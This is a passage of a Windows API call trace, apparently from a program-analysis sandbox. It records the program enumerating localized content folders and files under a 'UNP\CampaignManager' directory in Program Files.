	[0156.698] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.698] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.698] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0156.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.699] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1
	[0156.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.699] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO") returned 100
	[0156.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0156.701] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.701] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.701] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.701] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.701] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.701] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.701] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0156.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.703] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0156.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.703] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL") returned 100
	[0156.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.704] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.704] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.704] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.704] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.704] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.705] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.705] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.706] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0156.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.706] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR") returned 100
	[0156.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.708] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.708] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9e86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.708] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.708] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.708] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.708] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.709] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.710] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0156.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.710] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT") returned 100
	[0156.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0156.712] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.712] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa089, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.712] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x256, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.712] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.713] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.713] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.714] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0156.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.715] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1
	[0156.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.715] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources") returned 104
	[0156.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0156.852] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.853] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x6f0d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="20170517_Lock_200.gif", cAlternateFileName="201705~1.GIF")) returned 1
	[0156.853] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x4b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Back_0000_Hover.png", cAlternateFileName="BACK_0~1.PNG")) returned 1
	[0156.853] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Back_0001_Static.png", cAlternateFileName="BACK_0~2.PNG")) returned 1
